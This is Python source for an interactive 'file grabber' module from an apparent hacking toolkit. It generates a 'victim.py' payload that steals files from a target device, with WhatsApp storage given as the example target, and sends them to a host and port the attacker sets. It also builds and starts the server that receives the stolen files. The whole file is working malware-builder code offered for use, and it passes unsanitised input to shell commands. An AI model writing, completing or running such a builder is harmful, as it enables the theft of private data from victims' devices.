import os,sys
import time
import socket


u='\033[4m'
w='\x1b[00m'
r='\x1b[91m'
b='\x1b[36;1m'
y='\x1b[33m'

def infouser():
        s =socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8',80))
        ipaddress=(s.getsockname()[(0)])
        print('Your ip address: '+ipaddress)
        s.close

def exit():
        print(r+'[!]'+w+' The user forces it to stop')
        print(r+'[!]'+w+' Exiting program')
        sys.exit(1)
        
def corrupt():
        print(r+'[?]'+w+' Command not found, please type help')
        
def filegrabber():
        global host
        global port
        global output
        global grab
        while True:
                try:
                        fg = input(w+'saydog('+r+'pytoolkit/filegrabber'+w+') > ')
                        if fg == 'help':
                                print('')
                                print('FILE GRABBER')
                                print('------------')
                                print('Auto grabbing victim files')
                                print('')
                                print('command                                     example')
                                print('-------                                     -------')
                                print('set host [host]                  set host 127.0.0.1')
                                print('set port [port]                       set port 8080')
                                print('set output [path]                set output /sdcard')
                                print('set grab [path target]    set grab /sdcard/whatsapp')
                                print('show, show value                         show value')
                                print('run, go, create                              create')
                                print('start server                           start server')
                                print('')
                        elif fg == 'clear':
                                os.system('clear')
                        elif fg == 'back':
                                sys.exit(0)
                        elif fg == 'exit':
                                exit()
                        elif 'set host' in fg:
                                host = fg.split()[(-1)]
                                print('host > '+host)
                                print(host, file=open('servergethost.txt','w+'))
                        elif 'set port' in fg:
                                port = fg.split()[(-1)]
                                print(port, file=open('servergetport.txt','w+'))
                                print('port > '+port)
                        elif 'set output' in fg:
                                output = fg.split()[(-1)]
                                print('output > '+output)
                        elif 'set grab' in fg:
                                grab = fg.split()[(-1)]
                                print('grab > '+grab)
                        elif fg == 'run' or fg == 'go' or fg == 'create':
                                print(y+'[-]'+w+' Generate victim code ...')
                                print(y+'[-]'+w+' Please wait for a minutes')
                                time.sleep(2)
                                os.system('cat a > victim.py;echo "'+host+'"'+"'"+'",'+"'"+'"'+port+'"'+'"))" >> victim.py;cat c >> victim.py;echo '+grab+'";clear"'+'"'+"')"+'"'+' >> victim.py;cat d >> victim.py;cat victim.py > '+output+'/victim.py')
                                print(b+'[-]'+w+' Code has been created, file saved as '+output+'/victim.py')
                        elif fg == 'start server':
                                os.system('cat e > serverget.py;echo "'+host+'"'+"'"+'",'+"'"+'"'+port+'"'+'"))" >> serverget.py;cat f >> serverget.py')
                                os.system('python serverget.py')
                        elif fg == 'show' or fg == 'show value':
                                print('')
                                print('-------------------------')
                                print('host  : '+host)
                                print('port  : '+port)
                                print('output: '+output)
                                print('grab  : '+grab)
                                print('-------------------------')
                                print('')
                        else:
                                corrupt()
                except KeyboardInterrupt:
                        exit()
                except NameError:
                        print(r+'Error:'+w+' Please check your value, type show')

filegrabber()
